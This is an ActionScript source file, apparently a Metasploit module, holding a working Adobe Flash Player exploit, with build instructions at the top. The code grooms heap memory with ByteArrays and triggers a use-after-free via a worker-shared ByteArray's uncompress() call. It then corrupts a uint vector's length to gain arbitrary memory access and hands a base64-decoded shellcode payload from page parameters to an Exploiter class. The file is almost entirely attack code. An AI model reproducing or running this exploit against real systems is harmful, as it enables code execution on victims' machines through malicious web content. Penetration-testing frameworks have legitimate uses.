// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
//      (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as

// It uses original code from @hdarwin89 for exploitation using ba's and vectors 

package
{
    import flash.utils.*
    import flash.display.*
    import flash.system.*
    import mx.utils.Base64Decoder

	public final class Exploit extends Sprite {
		private var shared_ba:ByteArray = null
		
		private var hole_ba:ByteArray = null;
		private var confuse_length_ba:ByteArray = null;
		private var fake_ba:ByteArray = null;
		private var worker:Worker = null;
		
		private var byte_array_vector:Vector.<Object> = null;
		private var byte_array_vector_length:int;
		
		private var object_vector:Vector.<Object> = null;
		private var object_vector_length:uint;
		
		private var ba:ByteArray
		private var uv:Vector.<uint>
		private var corrupted_uv_index:uint = 0
		private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
		private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
		
		private var b64:Base64Decoder = new Base64Decoder();
        private var payload:ByteArray
        private var platform:String
        private var os:String
		private var exploiter:Exploiter
		
		public function Exploit()  {
			this.object_vector_length = 5770 * 2
			this.byte_array_vector_length = 510 * 2
			
            platform = LoaderInfo(this.root.loaderInfo).parameters.pl
            os = LoaderInfo(this.root.loaderInfo).parameters.os
            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
            var pattern:RegExp = / /g;
            b64_payload = b64_payload.replace(pattern, "+")
            b64.decode(b64_payload)
            payload = b64.toByteArray()
                        
			this.initialize_worker_and_ba()
			if (!this.trigger())
			{
				return
			}
            
			var index:uint = search_uint_vector(114, 0x40000000)
			if (index == 0xffffffff) {
				return
			}
			
			this.uv = this.object_vector[this.corrupted_uv_index]
			
			for (var i:uint = 0; i < object_vector.length; i++) {
				if (i != corrupted_uv_index) 
					object_vector[i] = null
			}
			exploiter = new Exploiter(this, platform, os, payload, uv)
        }
        
        final private function initialize_worker_and_ba():Boolean{
			this.ba = new ByteArray()
			this.ba.endian = "littleEndian"
			this.ba.length = 1024
			this.ba.writeUnsignedInt(0xdeedbeef)
			this.ba.position = 0
			
			this.shared_ba = new ByteArray()
			this.shared_ba.shareable = true
			this.shared_ba.endian = Endian.LITTLE_ENDIAN
			this.shared_ba.writeUnsignedInt(252536)
			this.shared_ba.writeUnsignedInt(16777216)

			this.confuse_length_ba = new ByteArray()
			this.confuse_length_ba.length = 0x2000
			this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
			this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)

			this.fake_ba = new ByteArray();
			this.fake_ba.endian = Endian.LITTLE_ENDIAN;

			this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
			return true;
        }

        final private function trigger():Boolean{
			// Memory massaging
			// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
			this.fill_byte_array_vector();
			// 2. Clear the marked ByteArray
			this.hole_ba.clear(); 

			// The shared_ba should be left in "shared" state
			this.worker.setSharedProperty("fnfre", this.shared_ba)
			this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
			this.worker.setSharedProperty("vfhrth", this.shared_ba)

			// fake_ba *data* is going to fill the space freed from the hole
			this.fake_ba.length = 0x2000;
			this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);

			// Trigger the vulnerability, if the memory layout is good enough 
			// the (freed) hole_ba metadata will end being the shared_ba metadata...
			this.shared_ba.uncompress()

			// So its size should be 0x2000
			if (this.shared_ba.length != 0x2000)
			{
				return false
			}

			// Free the fake_ba and make holes on the ByteArray's 
			// allocated on massaging.
			this.free_fake_and_make_holes()

			// Fill the holes and the fake_ba data space with 
			// <uint> vectors
			this.fill_with_vectors()

			// Hopefully the shared_ba metadata, product of the vulnerability
			// at this moment point to the  <uint> vectors in memory =) it means
			// game over.
			var pwn_test:uint;
			this.shared_ba.position = 0;
			pwn_test = this.shared_ba.readUnsignedInt();

			if (pwn_test == 0xBBBBBBBB)
			{
				return false
			}

			return true;
        }
        
		final private function fill_byte_array(local_ba:ByteArray, value:int):void{
			var i:int;
			local_ba.position = 0;
			i = 0;
			while (i < (local_ba.length / 4))
			{
				local_ba.writeInt(value);
				i++;
			};
			local_ba.position = 0;
        }
        
        final private function fill_byte_array_vector():void{
			var i:int;
			var local_ba:ByteArray;
			this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)

			i = 0;

			while (i < this.byte_array_vector_length)
			{
				local_ba = new ByteArray();
				this.byte_array_vector[i] = local_ba;
				local_ba.endian = Endian.LITTLE_ENDIAN;
				i++;
			}

			var hole_index:int = this.byte_array_vector_length * 4 / 5;
			if (hole_index % 2 == 0)
			{
				hole_index++;
			}

			for(i = 0; i < this.byte_array_vector_length; i++)
			{
				local_ba =  this.byte_array_vector[i] as ByteArray
				local_ba.length = 0x2000
				this.fill_byte_array(local_ba, 0xCCCCCCCC)
				local_ba.writeInt(0xbabefac0)
				local_ba.writeInt(0xbabefac1)
				local_ba.writeInt(i)
				local_ba.writeInt(0xbabefac3)
				if (i == hole_index)
				{
					this.hole_ba = local_ba;
				}
			}

			return;
		}
        
		final private function free_fake_and_make_holes():void {
			var i:int
			var clear_ba:ByteArray
			var hole_index:int = this.byte_array_vector_length * 4 / 5

			if (hole_index % 2 == 0)
			{
				hole_index++;
		    }
	
		    for (i = 0; i < this.byte_array_vector_length; i++)
			{
				if (i == hole_index) {
					this.fake_ba.clear();
				} else {
					if (i % 2 == 1)
					{
						clear_ba = this.byte_array_vector[i] as ByteArray
						this.fill_byte_array(clear_ba, 0xDDDDDDDD)
						clear_ba.clear()
					}
				}
			}
		    return
		}
        
		final private function fill_with_vectors():void {
			var i:uint;
			var uint_vector:Vector.<uint>;
			var objects:Vector.<Object>;
			this.object_vector = new Vector.<Object>(this.object_vector_length);

			i = 0
			while (i < this.object_vector_length)
			{
				this.object_vector[i] = new Vector.<uint>()
				i++
			}

			i = 0
			while (i < this.object_vector_length)
			{
				uint_vector = this.object_vector[i] as Vector.<uint>
				uint_vector.length = 114
				uint_vector[0] = 0xfeedbabe
				uint_vector[1] = i
				uint_vector[2] = 0xbabeface
				i++
			}
		}
        
		// Use the corrupted shared_ba to search and corrupt the uint vector
		// Returns the offset to the *length* of the corrupted vector
		private function search_uint_vector(old_length:uint, new_length:uint):uint {
			this.shared_ba.position = 0
			var i:uint = 0
			var length:uint = 0
			var atom:uint = 0
			var mark_one:uint = 0
			var index:uint = 0
			var mark_two:uint = 0
			while (i < 0x2000) {
				length = shared_ba.readUnsignedInt()
				if (length == old_length) {
					atom = shared_ba.readUnsignedInt()
					mark_one = shared_ba.readUnsignedInt()
					index = shared_ba.readUnsignedInt()
					mark_two = shared_ba.readUnsignedInt()
					if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
						shared_ba.position = i
						shared_ba.writeUnsignedInt(new_length)
						this.corrupted_uv_index = index
						return i;
					}
					i = i + 16
				}
				i = i + 4
			}
			return 0xffffffff
		}
	}
}
